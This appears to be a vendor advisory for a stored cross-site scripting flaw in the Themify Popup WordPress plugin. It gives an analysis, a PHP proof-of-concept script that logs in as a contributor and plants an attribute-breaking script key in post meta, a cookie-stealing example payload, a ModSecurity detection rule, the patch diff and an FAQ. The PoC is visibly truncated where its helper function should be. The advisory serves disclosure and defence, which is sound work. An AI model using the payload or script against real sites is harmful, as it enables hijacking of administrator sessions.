{
“analysis”: “Atomic Edge analysis of CVE-2026-132785: Atomic Edge research identifies CVE-2026-132785 as an authenticated (Contributor+) Stored Cross-Site Scripting vulnerability in the Themify Popup plugin for WordPress, affecting all versions up to and including 1.4.9. The flaw resides in the plugin’s custom metabox framework and allows a contributor-level user to inject arbitrary JavaScript into the `popup_show` parameter, which is saved and later rendered without proper escaping. The CVSS score is 6.4 and the weakness maps to CWE-79.nnRoot Cause: The root cause is insufficient input sanitization and output escaping of the `popup_show` parameter, which is a nested array handled by the `sanitize_assignments` logic. In the vulnerable file `includes/themify-metabox/includes/themify-metabox-core.php`, the `sanitize` method (around lines 274+) previously fell through and returned the raw `$value` for any type not explicitly handled. The `popup_show` parameter is submitted as a multidimensional array (groups such as `general`, `roles`, `tax`, `post_type`), and without a dedicated sanitizer or type whitelist, arbitrary keys and scalar values (including “ tags) were stored. Later, when the metabox renders hidden inputs via `themify_array_to_input` in `includes/themify-metabox/includes/themify-metabox-utils.php` (line 144+), the function concatenated `$value` and `$name` directly into HTML attributes without `esc_attr()`, so the stored payload executed when an admin or editor viewed the post edit screen or the front-end popup.nnExploitation: An authenticated attacker with Contributor or higher privileges submits a crafted request to the post save handler (typically `post.php` or `admin-post.php` via the block editor) while editing a post or popup. The payload is placed inside the `popup_show` array, for example `popup_show[general][“>alert(document.cookie)]=on`. Because the vulnerable `sanitize` method does not sanitize nested assignment arrays, the key and value bypass `wp_kses` and reach the database. When any user with access to the edit screen (including administrators) loads the post, `themify_array_to_input` emits the payload unescaped into a hidden input, executing the script in their browser. The attack requires only a valid contributor session and the ability to save post meta, which contributor users can do for their own posts.nnPatch Analysis: The patched version 1.5.0 introduces a dedicated `sanitize_assignments` method and a `sanitize_assignment_level` helper in `themify-metabox-core.php`. The new code validates that `popup_show` is an array limited to known groups (`general`, `roles`, `tax`, `post_type`) with fixed depths, enforces that leaf values are scalar and non-empty, and normalizes leaves to the string `on`. The `sanitize_assignment_key` method restricts keys to `[a-zA-Z0-9_\-\/\.]` only, eliminating angle brackets and quotes. The patch also hardens `themify_array_to_input` in `themify-metabox-utils.php` by adding an `is_array()` guard and wrapping both `$value` and `$name` with `esc_attr()`. Together, these changes prevent the injection of HTML characters into the stored metadata and guarantee that any rendered hidden input is properly escaped.nnImpact: Successful exploitation leads to stored cross-site scripting against higher-privileged users (editors, administrators) who view the affected post or popup configuration. This can result in session hijacking, credential theft, arbitrary administrative actions under the victim’s context, and potentially remote code execution if an administrator is tricked into installing a malicious plugin or editing theme files. Confidentiality, integrity, and availability of the WordPress site are all at risk.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-132785 – Themify Popup $response, ‘info’ => $info);n}nn// Step 1: Fetch the WordPress login page to prime cookies.nhttp_request($target_url . ‘/wp-login.php’, ‘GET’, null, $cookie_jar);nn// Step 2: Authenticate as a Contributor user.n$login = http_request($target_url . ‘/wp-login.php’, ‘POST’, array(n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’,n), $cookie_jar);nn// Step 3: Create a new post to host the malicious metadata.n$create = http_request($target_url . ‘/wp-admin/post-new.php’, ‘GET’, null, $cookie_jar);nif (strpos($create[‘body’], ‘_wpnonce’) === false) {n die(“[!] Unable to authenticate or reach post editor. Check credentials and URL.\n”);n}nnpreg_match(‘/name=”_wpnonce” value=”([^”]+)”/’, $create[‘body’], $m);n$nonce = isset($m[1]) ? $m[1] : ”;nn// Step 4: Submit the post with the malicious popup_show parameter.n// The payload uses a key that breaks out of the hidden input attribute and injects a script.n$payload_key = ‘”>alert(document.domain)’;n$save = http_request($target_url . ‘/wp-admin/post.php’, ‘POST’, array(n ‘action’ => ‘editpost’,n ‘post_ID’ => ‘0’, // leave empty for draft creation; use a real ID in practicen ‘post_type’ => ‘post’,n ‘post_title’ => ‘CVE-2026-132785 PoC’,n ‘content’ => ‘Stored XSS proof of concept.’,n ‘popup_show’ => array(n ‘general’ => array(n $payload_key => ‘on’,n ),n ),n ‘_wpnonce’ => $nonce,n ‘save’ => ‘Save Draft’,n), $cookie_jar);nn// Step 5: The payload is now stored in post meta.n// When an administrator opens the post edit screen, themify_array_to_input()n// renders the key without escaping, executing the injected script.necho “[+] PoC submission complete.\n”;necho “[+] Check the post edit screen as an administrator to trigger the stored XSS.\n”;necho “[+] Response size: ” . strlen($save[‘body’]) . ” bytes\n”;nn@unlink($cookie_jar);n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-132785n# Blocks stored XSS via the ‘popup_show’ parameter in Themify Popup <= 1.4.9n# The parameter is a nested array where keys and values must not contain HTML special characters.n# Legitimate traffic sends only alphanumeric, underscore, hyphen, slash, and dot characters.nSecRule ARGS_NAMES|ARGS "@rx popup_show" \n "id:2026132785,phase:2,deny,status:403,chain,msg:'CVE-2026-132785 Themify Popup stored XSS via popup_show',severity:'CRITICAL',tag:'CVE-2026-132785',tag:'CWE-79'"n SecRule ARGS:popup_show "@rx [\”‘`]” \n “t:urlDecodeUni,t:htmlEntityDecode,t:lowercase”n”
}

CVE-2026-132785: Themify Popup <= 1.4.9 Authenticated (Contributor+) Stored Cross-Site Scripting via 'popup_show' Parameter PoC, Patch Analysis & Rule
CVE-2026-132785
themify-popup
1.4.9
1.5.0
Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/themify-popup/includes/themify-metabox/includes/themify-metabox-core.php
+++ b/themify-popup/includes/themify-metabox/includes/themify-metabox-core.php
@@ -274,10 +274,84 @@
return wp_kses_data( $value );
}
+ if ( 'assignments' === $type ) {
+ return $this->sanitize_assignments( $value );
+ }
+
return $value;
}
/**
+ * Assignment checkboxes are only on/off flags under known groups.
+ *
+ * @param mixed $value Raw posted value.
+ * @return array|string
+ */
+ protected function sanitize_assignments( $value ) {
+ if ( ! is_array( $value ) ) {
+ return '';
+ }
+ $groups = array(
+ 'general' => 1,
+ 'roles' => 1,
+ 'tax' => 2,
+ 'post_type' => 2,
+ );
+ $clean = array();
+ foreach ( $groups as $group => $depth ) {
+ if ( empty( $value[ $group ] ) || ! is_array( $value[ $group ] ) ) {
+ continue;
+ }
+ $sanitized = $this->sanitize_assignment_level( $value[ $group ], $depth );
+ if ( $sanitized ) {
+ $clean[ $group ] = $sanitized;
+ }
+ }
+ return $clean ? $clean : '';
+ }
+
+ /**
+ * @param mixed $value
+ * @param int $depth Remaining array levels. Leaves are stored as "on".
+ * @return array
+ */
+ protected function sanitize_assignment_level( $value, $depth ) {
+ if ( ! is_array( $value ) || $depth < 1 ) {
+ return array();
+ }
+ $clean = array();
+ foreach ( $value as $key => $item ) {
+ $key = $this->sanitize_assignment_key( $key );
+ if ( '' === $key ) {
+ continue;
+ }
+ if ( $depth > 1 ) {
+ if ( ! is_array( $item ) ) {
+ continue;
+ }
+ $child = $this->sanitize_assignment_level( $item, $depth - 1 );
+ if ( $child ) {
+ $clean[ $key ] = $child;
+ }
+ continue;
+ }
+ if ( is_scalar( $item ) && '' !== (string) wp_unslash( $item ) ) {
+ $clean[ $key ] = 'on';
+ }
+ }
+ return $clean;
+ }
+
+ /**
+ * @param mixed $key
+ * @return string
+ */
+ protected function sanitize_assignment_key( $key ) {
+ $key = (string) wp_unslash( $key );
+ return preg_match( '/^[a-zA-Z0-9_-/.]+$/', $key ) ? $key : '';
+ }
+
+ /**
* Allowed values for a choice field.
*
* @param array $field Field config.
--- a/themify-popup/includes/themify-metabox/includes/themify-metabox-utils.php
+++ b/themify-popup/includes/themify-metabox/includes/themify-metabox-utils.php
@@ -144,7 +144,10 @@
*/
function themify_array_to_input( $array, $prefix = '' ) {
$output = '';
- if (count( array_filter( array_keys( $array ), 'is_string' ) ) ) {
+ if ( ! is_array( $array ) ) {
+ return $output;
+ }
+ if ( count( array_filter( array_keys( $array ), 'is_string' ) ) ) {
foreach ( $array as $key => $value ) {
if ( empty( $prefix ) ) {
$name = $key;
@@ -154,15 +157,15 @@
if ( is_array( $value ) ) {
$output .= themify_array_to_input( $value, $name );
} else {
- $output .= '<input type="hidden" value="' . $value .'" name="' . $name .'">';
+ $output .= '<input type="hidden" value="' . esc_attr( $value ) . '" name="' . esc_attr( $name ) . '">';
}
}
} else {
- foreach ($array as $item) {
- if ( is_array($item) ) {
+ foreach ( $array as $item ) {
+ if ( is_array( $item ) ) {
$output .= themify_array_to_input( $item, $prefix . '[]' );
} else {
- $output .= '<input type="hidden" name="' . $prefix . '[]" value="' . $item .'">';
+ $output .= '<input type="hidden" name="' . esc_attr( $prefix . '[]' ) . '" value="' . esc_attr( $item ) . '">';
}
}
}
--- a/themify-popup/themify-popup.php
+++ b/themify-popup/themify-popup.php
@@ -2,7 +2,7 @@
/*
Plugin Name: Themify Popup
Plugin URI: https://themify.me/popup
-Version: 1.4.9
+Version: 1.5.0
Author: Themify
Description: A free plugin to display popups for ads, newsletter subscriptions, and general info. It comes with various popup styles (classic, slide-out, fullscreen, etc.). Popups can be scheduled and configured to show on certain posts, pages, categories, and user roles.
Text Domain: themify-popup
@@ -12,7 +12,7 @@
*/
defined( 'ABSPATH' ) or die( '-1' );
-const THEMIFY_POPUP_VERSION='1.4.9';
+const THEMIFY_POPUP_VERSION='1.5.0';
/**
* Bootstrap Popup plugin
*
Frequently Asked Questions
What is CVE-2026-132785?
Vulnerability overviewCVE-2026-132785 is a stored cross-site scripting (XSS) vulnerability in the Themify Popup plugin for WordPress, affecting versions up to and including 1.4.9. It allows authenticated users with contributor-level access or higher to inject malicious JavaScript into the popup_show parameter, which is then stored and executed when a higher-privileged user views the affected page or popup configuration.
How does the vulnerability work?
Technical mechanismThe plugin fails to properly sanitize and escape the popup_show parameter, which is a nested array. An attacker can submit a crafted request with a payload in the array keys or values, bypassing input filtering. When the stored data is rendered in the admin interface via the themify_array_to_input function, the payload is output without escaping, leading to script execution in the victim’s browser.
Who is affected by this vulnerability?
Affected versions and usersAny WordPress site running the Themify Popup plugin version 1.4.9 or earlier is affected. The vulnerability requires an authenticated attacker with at least contributor-level permissions, meaning sites that allow user registration or have untrusted contributors are at higher risk.
How can I check if my site is vulnerable?
Detection stepsCheck the installed version of the Themify Popup plugin in the WordPress admin under Plugins. If the version is 1.4.9 or lower, the site is vulnerable. You can also scan for the presence of the vulnerable file includes/themify-metabox/includes/themify-metabox-core.php and verify that it lacks the sanitize_assignments method.
What is the risk level of this vulnerability?
CVSS and practical impactThe CVSS score is 6.4, rated Medium. While it requires authentication, successful exploitation can lead to session hijacking, credential theft, or arbitrary actions performed under an administrator’s session, potentially compromising the entire site.
How can I fix the vulnerability?
Patch and updateUpdate the Themify Popup plugin to version 1.5.0 or later, which includes a patch that properly sanitizes the popup_show parameter and escapes output. Always keep plugins updated and remove unused ones to reduce attack surface.
What if I cannot update immediately?
Mitigation strategiesIf immediate update is not possible, restrict contributor-level accounts to trusted users only. Consider using a web application firewall (WAF) with a rule to block requests containing suspicious characters in the popup_show parameter, such as the provided ModSecurity rule. Additionally, monitor for unusual activity from contributor accounts.
How does the proof of concept demonstrate the issue?
PoC explanationThe proof of concept script logs in as a contributor, creates a new post, and submits a crafted popup_show parameter containing a script payload in a key. When an administrator later opens the post edit screen, the unescaped payload executes, demonstrating the stored XSS. This illustrates the ease of exploitation by a low-privileged user.
What does the patch change?
Patch analysisThe patch introduces a dedicated sanitize_assignments method that validates the structure and content of the popup_show array, allowing only known groups and sanitizing keys to alphanumeric, underscore, hyphen, slash, and dot characters. It also hardens the themify_array_to_input function by adding an is_array check and escaping both value and name attributes with esc_attr.
Can this vulnerability be exploited without authentication?
Authentication requirementNo, the attacker must be authenticated with at least contributor-level privileges. However, many WordPress sites allow user registration, and contributors can be legitimate users or attackers who gain access through other means. Therefore, the vulnerability still poses a significant risk.
What are the potential consequences of exploitation?
Impact on site securityExploitation can lead to stored XSS attacks against administrators and editors, resulting in session hijacking, theft of sensitive data, or execution of malicious actions. In severe cases, an attacker could gain full control of the site by installing backdoors or creating administrative accounts.
Is there a WAF rule available for this vulnerability?
ModSecurity ruleYes, a ModSecurity rule is provided that blocks requests containing suspicious characters in the popup_show parameter. The rule inspects ARGS_NAMES and ARGS for popup_show and denies requests with characters such as quotes, backticks, or angle brackets after decoding. This can be deployed as a virtual patch until the plugin is updated.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






